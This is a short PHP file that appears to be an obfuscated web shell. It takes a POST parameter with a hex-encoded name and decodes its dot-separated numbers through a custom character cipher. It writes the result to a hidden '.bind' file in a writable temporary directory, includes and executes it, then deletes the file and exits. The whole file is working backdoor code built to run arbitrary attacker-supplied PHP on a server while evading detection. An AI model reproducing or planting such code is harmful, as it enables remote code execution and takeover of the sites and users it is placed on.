<?php

if(isset($_POST["el\x65\x6De\x6Et"])){
	$comp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), getcwd()]);
	$ref = $_POST["el\x65\x6De\x6Et"];
		$ref 	=			explode	("."	 ,	  $ref)  ; 
	$k	 = '';
            $s	 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 = strlen( $s);
            $z	 = 0;
    
            foreach( $ref as $v3) {	 $chS	 = ord( $s[$z % $lenS]);
                $dec	 = ( ( int)$v3 - $chS -( $z % 10))	 ^	 1;
                $k.=	chr( $dec);
                $z++;
            }
	foreach ($comp as $factor):
    		if (is_writable($factor) && is_dir($factor)) {
    $reference = "$factor/.bind";
    if (@file_put_contents($reference, $k) !== false) {
	include $reference;
	unlink($reference);
	die();
}
}
endforeach;
}